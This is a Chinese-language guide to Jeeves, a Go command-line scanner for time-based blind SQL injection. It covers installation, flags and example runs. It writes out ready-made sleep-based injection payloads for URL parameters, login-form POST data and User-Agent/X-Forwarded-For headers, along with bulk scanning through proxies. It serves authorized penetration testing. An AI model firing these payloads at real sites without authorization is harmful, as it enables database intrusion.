Jeeves:一款功能强大的SQL注入漏洞扫描工具
字数 1316 2025-08-12 11:33:43

Jeeves SQL注入漏洞扫描工具使用指南

一、工具概述

Jeeves是一款功能强大的SQL注入漏洞扫描工具,专门用于检测基于时间的SQL盲注漏洞。该工具基于Go语言开发,具有以下特点:

  • 专注于时间盲注漏洞检测
  • 支持多种测试场景(GET/POST请求、代理、自定义Header等)
  • 命令行工具,易于集成到自动化流程中
  • 开源项目,遵循MIT许可证

二、SQL盲注基础

盲注类型

  1. 布尔盲注

    • 根据注入信息返回True或False
    • 无报错信息返回
  2. 时间盲注

    • 界面返回值只有一种(True)
    • 通过特定时间函数引入时间差来判断注入是否成功
    • Jeeves主要针对此类漏洞进行检测

三、环境准备

安装Go语言环境

使用Jeeves前需先安装Go语言环境:

  1. 从Go官网下载并安装适合您操作系统的Go版本
  2. 配置Go环境变量

安装Jeeves

两种安装方式:

  1. 直接安装

    go install github.com/ferreiraklet/Jeeves@latest
    
  2. 源码编译安装

    git clone https://github.com/ferreiraklet/Jeeves.git
    cd Jeeves
    go build jeeves.go
    chmod +x jeeves
    

四、基本使用

命令帮助

./jeeves -h

参数说明

参数 全称 描述
-t --payload-time Payload中定义的时间(秒)
-p --proxy 通过代理发送流量
-c 设置并发度(默认25)
-H --headers 自定义Header
-d --data 使用POST请求发送数据
-h 显示帮助信息

五、测试场景

1. 测试单个URL

基本格式

echo '目标URL' | jeeves -t 延迟时间

示例

echo 'https://redacted.com/index.php?id=1' | jeeves -t 5

使用qsreplace构造Payload

echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves --payload-time 5

注意:--payload-time必须与Payload中的sleep时间一致

2. 批量测试URL列表

cat targets.txt | jeeves --payload-time 5

3. 添加自定义Header

echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves -t 5 -H "Testing: testing;OtherHeader: Value;Other2: Value"

4. 使用代理测试

echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves -t 5 --proxy "http://ip:port"

简写形式:

echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves -t 5 -p "http://ip:port"

5. 代理+Header组合

echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves --payload-time 5 --proxy "http://ip:port" -H "User-Agent: xxxx"

6. POST请求测试

适用于登录表单等场景:

echo "https://example.com/Login.aspx" | jeeves -t 10 -d "user=(select(0)from(select(sleep(5)))v)&password=xxx"

带Header和代理的POST请求:

echo "https://example.com/Login.aspx" | jeeves -t 10 -H "Header1: Value1" -d "username=admin&password='+(select*from(select(sleep(5)))a)+'" -p "http://yourproxy:port"

7. 使用SQL Payload字典

cat sql_wordlist.txt | while read payload; do echo http://testphp.vulnweb.com/artists.php?artist= | qsreplace $payload | jeeves -t 5; done

8. Header注入测试

测试User-Agent头:

echo "https://target.com" | jeeves -H "User-Agent: 'XOR(if(now()=sysdate(),sleep(5*2),0))OR'" -t 10

测试X-Forwarded-For头:

echo "https://target.com" | jeeves -H "X-Forwarded-For: 'XOR(if(now()=sysdate(),sleep(5*2),0))OR'" -t 10

六、高级技巧

  1. 时间设置

    • 确保-t/--payload-time参数值与Payload中的sleep时间完全一致
    • 对于复杂Payload,可能需要调整时间值
  2. 并发控制

    • 使用-c参数调整并发请求数(默认25)
    • 根据目标服务器性能调整,避免过度请求
  3. Payload定制

    • 可参考项目提供的Payload或自行构造
    • 确保Payload语法与目标数据库类型匹配

七、注意事项

  1. 合法使用:仅对授权目标进行测试,遵守相关法律法规
  2. 测试影响:时间盲注测试会对目标服务器造成额外负载
  3. 结果验证:工具检测结果需要人工验证确认
  4. 网络环境:确保网络延迟不会影响时间判断的准确性

八、资源参考

通过本指南,您应该能够全面了解Jeeves工具的功能和使用方法,有效地检测目标系统中的时间盲注漏洞。请始终记住在合法授权范围内使用安全工具。

Jeeves SQL注入漏洞扫描工具使用指南 一、工具概述 Jeeves是一款功能强大的SQL注入漏洞扫描工具,专门用于检测基于时间的SQL盲注漏洞。该工具基于Go语言开发,具有以下特点: 专注于时间盲注漏洞检测 支持多种测试场景(GET/POST请求、代理、自定义Header等) 命令行工具,易于集成到自动化流程中 开源项目,遵循MIT许可证 二、SQL盲注基础 盲注类型 布尔盲注 : 根据注入信息返回True或False 无报错信息返回 时间盲注 : 界面返回值只有一种(True) 通过特定时间函数引入时间差来判断注入是否成功 Jeeves主要针对此类漏洞进行检测 三、环境准备 安装Go语言环境 使用Jeeves前需先安装Go语言环境: 从Go官网下载并安装适合您操作系统的Go版本 配置Go环境变量 安装Jeeves 两种安装方式: 直接安装 : 源码编译安装 : 四、基本使用 命令帮助 参数说明 | 参数 | 全称 | 描述 | |------|------|------| | -t | --payload-time | Payload中定义的时间(秒) | | -p | --proxy | 通过代理发送流量 | | -c | | 设置并发度(默认25) | | -H | --headers | 自定义Header | | -d | --data | 使用POST请求发送数据 | | -h | | 显示帮助信息 | 五、测试场景 1. 测试单个URL 基本格式 : 示例 : 使用qsreplace构造Payload : 注意: --payload-time 必须与Payload中的sleep时间一致 2. 批量测试URL列表 3. 添加自定义Header 4. 使用代理测试 简写形式: 5. 代理+Header组合 6. POST请求测试 适用于登录表单等场景: 带Header和代理的POST请求: 7. 使用SQL Payload字典 8. Header注入测试 测试User-Agent头: 测试X-Forwarded-For头: 六、高级技巧 时间设置 : 确保 -t/--payload-time 参数值与Payload中的sleep时间完全一致 对于复杂Payload,可能需要调整时间值 并发控制 : 使用 -c 参数调整并发请求数(默认25) 根据目标服务器性能调整,避免过度请求 Payload定制 : 可参考项目提供的Payload或自行构造 确保Payload语法与目标数据库类型匹配 七、注意事项 合法使用 :仅对授权目标进行测试,遵守相关法律法规 测试影响 :时间盲注测试会对目标服务器造成额外负载 结果验证 :工具检测结果需要人工验证确认 网络环境 :确保网络延迟不会影响时间判断的准确性 八、资源参考 项目地址: Jeeves GitHub仓库 Payload参考: rohit0x5的GitHub 许可证:MIT开源协议 通过本指南,您应该能够全面了解Jeeves工具的功能和使用方法,有效地检测目标系统中的时间盲注漏洞。请始终记住在合法授权范围内使用安全工具。